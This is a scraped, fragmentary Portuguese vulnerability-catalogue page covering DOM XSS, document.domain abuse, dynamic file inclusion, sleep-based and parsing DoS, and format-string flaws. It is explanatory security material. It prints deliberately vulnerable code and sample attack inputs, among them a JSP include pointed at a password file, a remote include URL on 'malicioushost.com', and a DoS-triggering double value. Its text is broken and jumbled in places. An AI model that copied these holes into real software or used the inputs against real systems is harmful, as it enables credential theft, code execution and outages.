Problemas de validação e representação da entrada são causados por metacaracteres, codificações alternativas e representações numéricas. Confiar na entrada resulta em problemas de segurança. Os problemas incluem: “Buffer Overflows”, ataques de “Cross-Site Scripting”, “SQL Injection”, entre outros.
<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>
$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});
eid
contiver apenas texto alfanumérico padrão. Se o eid
tiver um valor que inclui metacaracteres ou um código-fonte, tão logo o usuário clique no botão, o código é adicionado ao DOM para o navegador executar. Se um invasor conseguir convencer um usuário a digitar uma entrada mal-intencionada na entrada de texto, isso é simplesmente uma XSS baseada em DOM.document.domain
.document.domain
da mesma forma e execute scripts na página, como se estivessem localizados exatamente no mesmo domínio.domain
e o transmite como o domínio para a Same-Origin Policy (SOP) da página.
<SCRIPT>
var pos = document.URL.indexOf("domain=")+7;
document.domain = document.URL.substring(pos,document.URL.length);
</SCRIPT>
document.domain
; portanto, se a página estiver localizada em "http://www.example.com", document.domain
poderá ser definido como "www.exemplo.com" ou "exemplo.com". Não poderá ser definido como "com" ou "exemplo.org".
...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...
Example 1
, um invasor pode obter controle total sobre a instrução include dinâmica, fornecendo um valor mal-intencionado para includedURL
, que faz com que o programa inclua um arquivo de um site externo.web.config
, o arquivo pode ser renderizado como parte da saída HTML. Pior ainda, se o invasor puder especificar um caminho para um local remoto controlado por ele, a instrução de inclusão dinâmica executará o código mal-intencionado arbitrário fornecido por esse invasor.
...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...
specialpage.jsp?template=/WEB-INF/database/passwordDB
/WEB-INF/database/passwordDB
para a página JSP, comprometendo assim a segurança do sistema.c:import
para importar um arquivo remoto especificado pelo usuário para a página JSP atual.
...
<c:import url="<%= request.getParameter("privacy")%>">
...
policy.jsp?privacy=http://www.malicioushost.com/attackdata.js
register_globals
habilitada por padrão, que permite aos invasores substituir facilmente as variáveis de servidor interno. Embora desabilitar register_globals
possa limitar a exposição de um programa às vulnerabilidades de inclusão de arquivo, esses problemas ainda ocorrem em aplicativos PHP modernos.$server_root
definida por aplicativo em um modelo.
...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...
register_globals
estiver definida como on
, um invasor poderá substituir o valor $server_root
fornecendo $server_root
como parâmetro de solicitação, o que o dá controle parcial da instrução include dinâmica.
...
<?php include($_GET['headername']); ?$gt;
...
Example 2
, um invasor pode obter controle total sobre a instrução include dinâmica, fornecendo um valor mal-intencionado para headername
, que faz com que o programa inclua um arquivo de um site externo./etc/shadow
, o arquivo pode ser renderizado como parte da saída HTML. Pior ainda, se o invasor puder especificar um caminho para um local remoto controlado por ele, a instrução de inclusão dinâmica executará o código mal-intencionado arbitrário fornecido por esse invasor.
...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
HttpRequest.Files
, HttpRequest.Form
, HttpRequest.Cookies
, HttpRequest.QueryString
, HttpRequest.Headers
, HttpRequest.ServerVariables
para 1000, e o tamanho pode ser aumentado ou diminuído usando a definição aspnet:MaxHttpCollectionKeys
no arquivo de configuração. No entanto, aumentar o tamanho para um valor mais alto aumenta a probabilidade de um ataque DoS.aspnet:MaxHttpCollectionKeys
está definido como 2147483647
.
...
<appSettings>
<add key="aspnet:MaxHttpCollectionKeys" value="2147483647" />
</appSettings>
...
unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
Sleep(url.duration);
Future
será executada. Especificando um número grande, um invasor pode bloquear a função Future
indefinidamente.
final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
Exemplo 2: O código a seguir lê uma String de um arquivo zip. Por usar o método
int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
readLine()
, ele levará uma quantidade ilimitada de entradas. Um invasor pode tirar proveito desse código para causar uma OutOfMemoryException
ou consumir uma grande quantidade de memória para que o programa perca mais tempo realizando a coleta de lixo ou fique sem memória durante uma operação subsequente.
InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
Exemplo 2: Este código grava em um arquivo. Uma vez que o arquivo pode ser continuamente escrito e reescrito até ser considerado fechado pelo agente do usuário, a cota de disco, a largura de banda E/S e os processos que podem exigir a análise do conteúdo do arquivo são afetados.
var fsync = requestFileSystemSync(0, userInput);
function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}
window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
Exemplo 2: Este código lê uma cadeia a partir de um arquivo. Uma vez que ele utiliza o método
Kernel.sleep(user_input)
readline()
sem especificar um limite, ele lerá uma quantidade ilimitada de entradas. Um invasor pode aproveitar esse código para fazer com que o processo pause enquanto consome mais e mais memória, até que possivelmente a memória se esgote.
fd = File.new(myFile)
line = fd.readline
Formatter.format()
.
...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...
java.util.MissingFormatArgumentException
, e, por não estar dentro de um bloco "try", essa exceção pode provocar falhas no aplicativo. accountNo
fossem incluídas na string resultante.java.lang.Double.parseDouble()
e métodos relacionados que pode provocar o travamento do thread durante a avaliação de qualquer número no intervalo [2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)]
. Esse defeito pode ser usado para executar um ataque de Negação de Serviço (DoS).
Double d = Double.parseDouble(request.getParameter("d"));
d
é um valor no intervalo, como "0.0222507385850720119e-00306"
, para fazer com que o programa trave ao processar a solicitação.